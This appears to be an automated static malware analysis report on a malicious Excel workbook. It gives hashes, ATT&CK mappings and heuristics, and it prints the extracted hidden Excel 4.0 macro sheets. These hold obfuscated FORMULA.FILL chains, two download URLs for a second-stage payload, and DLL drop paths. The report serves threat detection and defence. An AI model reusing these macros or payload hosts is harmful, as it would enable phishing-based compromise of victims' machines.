Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 a7765fdc65bef898…

MALICIOUS

Office (OOXML)

155.2 KB Created: 2006-09-16 00:00:00 UTC Authoring application: Microsoft Excel 14.0300 First seen: 2021-06-28
MD5: e1bf0635e48b80b8b71d251f5cece9fa SHA-1: 3be9a42d440ee5a81f9268e1ed649c3da87359dd SHA-256: a7765fdc65bef8989021e496a75607042752cee8d78d9f3ba880915628fc4b15
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

This Excel document contains Excel 4.0 macros, indicated by multiple critical heuristic firings including the use of dangerous functions like FORMULA.FILL. These macros are designed to download a second-stage payload from one of the embedded URLs, specifically https://ecology-japan.com/nHi2nZU1fqyM/gg.html or https://jjcart.net/TQuC4kcg/gg.html. The use of Excel 4.0 macros and the download functionality strongly suggest a malicious intent, likely for initial compromise via spearphishing.

Heuristics 4

  • Excel 4.0 macro sheet (4 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: FORMULA.FILL, FORMULA, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://ecology-japan.com/nHi2nZU1fqyM/gg.html In document text (OOXML body / shared strings)
    • https://jjcart.net/TQuC4kcg/gg.htmlIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet3.xml 1503 bytes
SHA-256: 6396b663a4fd54b7f58c0a9133692e01e530055da80fd936b10721f3c7989126
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="AI6"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.5703125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="34" max="34" width="4.5703125" customWidth="1"/><col min="35" max="35" width="4.5703125" hidden="1" customWidth="1"/></cols><sheetData><row r="6" spans="35:35" x14ac:dyDescent="0.25"><c r="AI6" s="1" t="b"><f>FORMULA.FILL('Doc2'!AR122&amp;'Doc2'!AR123&amp;'Doc2'!AR136&amp;'Doc2'!AQ148&amp;'Doc2'!AR137&amp;'Doc2'!AR140&amp;'Doc2'!AR137&amp;'Doc2'!AQ149&amp;'Doc2'!AR137&amp;'Doc2'!AR140&amp;'Doc2'!AR137&amp;'Doc2'!AQ150&amp;'Doc2'!AR137&amp;'Doc2'!AR140&amp;'Doc2'!AR142&amp;'Doc2'!AR140&amp;'Doc2'!AR137&amp;'Doc2'!AQ109&amp;'Doc2'!AR137&amp;'Doc2'!AR140&amp;'Doc2'!AR137&amp;'Doc2'!AQ106&amp;'Doc2'!AR137&amp;'Doc2'!AR140&amp;'Doc2'!AR142&amp;'Doc2'!AR140&amp;'Doc2'!AR142&amp;'Doc2'!AR139,'Doc2'!AO149)='Doc5'!AM2()</f><v>1</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_01.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet2.xml 1525 bytes
SHA-256: 8d10f47fc333f48ab24da329bc50acbf5ad96dbffc855723427f6dda1fd22b94
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="AG6"/><sheetViews><sheetView showFormulas="1" zoomScaleNormal="100" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.5703125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="32" max="32" width="4.5703125" customWidth="1"/><col min="33" max="33" width="4.5703125" hidden="1" customWidth="1"/></cols><sheetData><row r="6" spans="33:33" x14ac:dyDescent="0.25"><c r="AG6" s="1" t="b"><f>FORMULA.FILL('Doc2'!AR122&amp;'Doc2'!AR123&amp;'Doc2'!AR136&amp;'Doc2'!AQ148&amp;'Doc2'!AR137&amp;'Doc2'!AR140&amp;'Doc2'!AR137&amp;'Doc2'!AQ149&amp;'Doc2'!AR137&amp;'Doc2'!AR140&amp;'Doc2'!AR137&amp;'Doc2'!AQ150&amp;'Doc2'!AR137&amp;'Doc2'!AR140&amp;'Doc2'!AR142&amp;'Doc2'!AR140&amp;'Doc2'!AR137&amp;'Doc2'!AQ108&amp;'Doc2'!AR137&amp;'Doc2'!AR140&amp;'Doc2'!AR137&amp;'Doc2'!AQ105&amp;'Doc2'!AR137&amp;'Doc2'!AR140&amp;'Doc2'!AR142&amp;'Doc2'!AR140&amp;'Doc2'!AR142&amp;'Doc2'!AR139,'Doc2'!AO148)='Doc4'!AI4()</f><v>1</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_02.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet1.xml 11306 bytes
SHA-256: 3534428ae04c8748b30395c535d82383fafebe35201b605b4b184928cd71445b
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="AO103:AS161"/><sheetViews><sheetView showFormulas="1" zoomScaleNormal="100" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.5703125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="40" max="40" width="4.42578125" customWidth="1"/><col min="41" max="45" width="4.5703125" hidden="1" customWidth="1"/></cols><sheetData><row r="103" spans="41:45" x14ac:dyDescent="0.25"><c r="AO103" s="1"/><c r="AP103" s="1"/><c r="AQ103" s="1"/><c r="AR103" s="1"/><c r="AS103" s="1"/></row><row r="104" spans="41:45" x14ac:dyDescent="0.25"><c r="AO104" s="1"/><c r="AP104" s="1"/><c r="AQ104" s="1"/><c r="AR104" s="1"/><c r="AS104" s="1"/></row><row r="105" spans="41:45" x14ac:dyDescent="0.25"><c r="AO105" s="1"/><c r="AP105" s="1"/><c r="AQ105" t="str"><f>"..\cexyz1.dll"</f><v>..\cexyz1.dll</v></c><c r="AR105" s="1"/><c r="AS105" s="1"/></row><row r="106" spans="41:45" x14ac:dyDescent="0.25"><c r="AO106" s="1"/><c r="AP106" s="1"/><c r="AQ106" s="1" t="str"><f>"..\cexyz2.dll"</f><v>..\cexyz2.dll</v></c><c r="AR106" s="1"/><c r="AS106" s="1"/></row><row r="107" spans="41:45" x14ac:dyDescent="0.25"><c r="AO107" s="1"/><c r="AP107" s="1"/><c r="AQ107" s="1"/><c r="AR107" s="1"/><c r="AS107" s="2"/></row><row r="108" spans="41:45" x14ac:dyDescent="0.25"><c r="AO108" s="1"/><c r="AP108" s="1"/><c r="AQ108" s="1" t="str"><f>"https://ecology-japan.com/nHi2nZU1fqyM/gg.html"</f><v>https://ecology-japan.com/nHi2nZU1fqyM/gg.html</v></c><c r="AR108" s="1"/><c r="AS108" s="1"/></row><row r="109" spans="41:45" x14ac:dyDescent="0.25"><c r="AO109" s="1"/><c r="AP109" s="1"/><c r="AQ109" s="1" t="str"><f>"https://jjcart.net/TQuC4kcg/gg.html"</f><v>https://jjcart.net/TQuC4kcg/gg.html</v></c><c r="AR109" s="1"/><c r="AS109" s="1"/></row><row r="110" spans="41:45" x14ac:dyDescent="0.25"><c r="AO110" s="1"/><c r="AP110" s="1"/><c r="AQ110" s="1"/><c r="AR110" s="1"/><c r="AS110" s="1"/></row><row r="111" spans="41:45" x14ac:dyDescent="0.25"><c r="AO111" s="1"/><c r="AP111" s="1"/><c r="AQ111" s="1"/><c r="AR111" s="1"/><c r="AS111" s="1"/></row><row r="112" spans="41:45" x14ac:dyDescent="0.25"><c r="AO112" s="2"/><c r="AP112" s="1"/><c r="AQ112" s="1"/><c r="AR112" s="1"/><c r="AS112" s="1"/></row><row r="113" spans="41:45" x14ac:dyDescent="0.25"><c r="AO113" s="2" t="b"><f>FORMULA('Doc2'!AQ130&amp;'Doc2'!AQ131&amp;'Doc2'!AQ132,'Doc2'!AQ148)</f><v>1</v></c><c r="AP113" s="1"/><c r="AQ113" s="2"/><c r="AR113" s="2" t="s"><v>0</v></c><c r="AS113" s="1"/></row><row r="114" spans="41:45" x14ac:dyDescent="0.25"><c r="AO114" s="2" t="b"><f>FORMULA('Doc2'!AQ114&amp;'Doc2'!AQ115&amp;'Doc2'!AQ116&amp;'Doc2'!AQ117&amp;'Doc2'!AQ118,'Doc2'!AQ149)</f><v>1</v></c><c r="AP114" s="1"/><c r="AQ114" s="2" t="s"><v>1</v></c><c r="AR114" s="2" t="s"><v>2</v></c><c r="AS114" s="1"/></row><row r="115" spans="41:45" x14ac:dyDescent="0.25"><c r="AO115" s="1"/><c r="AP115" s="1"/><c r="AQ115" s="2" t="s"><v>3</v></c><c r="AR115" s="2" t="s"><v>4</v></c><c r="AS115" s="1"/></row><row r="116" spans="41:45" x14ac:dyDescent="0.25"><c r="AO116" s="1"/><c r="AP116" s="1"/><c r="AQ116" s="2" t="s"><v>5</v></c><c r="AR116" s="2"/><c r="AS116" s="1"/></row><row r="117" spans="41:45" x14ac:dyDescent="0.25"><c r="AO117" s="1"/><c r="AP117" s="1"/><c r="AQ117" s="2" t="s"><v>6</v></c><c r="AR117" s="2"/><c r="AS117" s="1"/></row><row r="118" spans="41:45" x14ac:dyDescent="0.25"><c r="AO118" s="1"/><c r="AP118" s="1"/><c r="AQ118" s="2" t="str"><f>RIGHT("rsthYFGIPUYiugeA",2)</f><v>eA</v></c><c r="AR118" s="2"/><c r="AS118" s="1"/></row><row r="119" spans="41:45" x14ac:dyDescent="0.25"><c r="AO119" s="1"/><c r="AP119"
... (truncated)
xlm_sheet_03.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet4.xml 1099 bytes
SHA-256: 116442751b27cac0ac22dfe8ef12d959cf127fb14d16558c667e52c97787bca2
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="AM4"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.5703125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="39" max="39" width="4.5703125" hidden="1" customWidth="1"/></cols><sheetData><row r="4" spans="39:39" x14ac:dyDescent="0.25"><c r="AM4" s="2" t="b"><f>FORMULA.FILL('Doc2'!AQ136&amp;'Doc2'!AQ137&amp;'Doc2'!AQ138&amp;'Doc2'!AQ139&amp;'Doc2'!AQ140&amp;'Doc2'!AQ141&amp;'Doc2'!AQ142&amp;"2 ",'Doc2'!AQ154)='Doc2'!AO130()</f><v>1</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>

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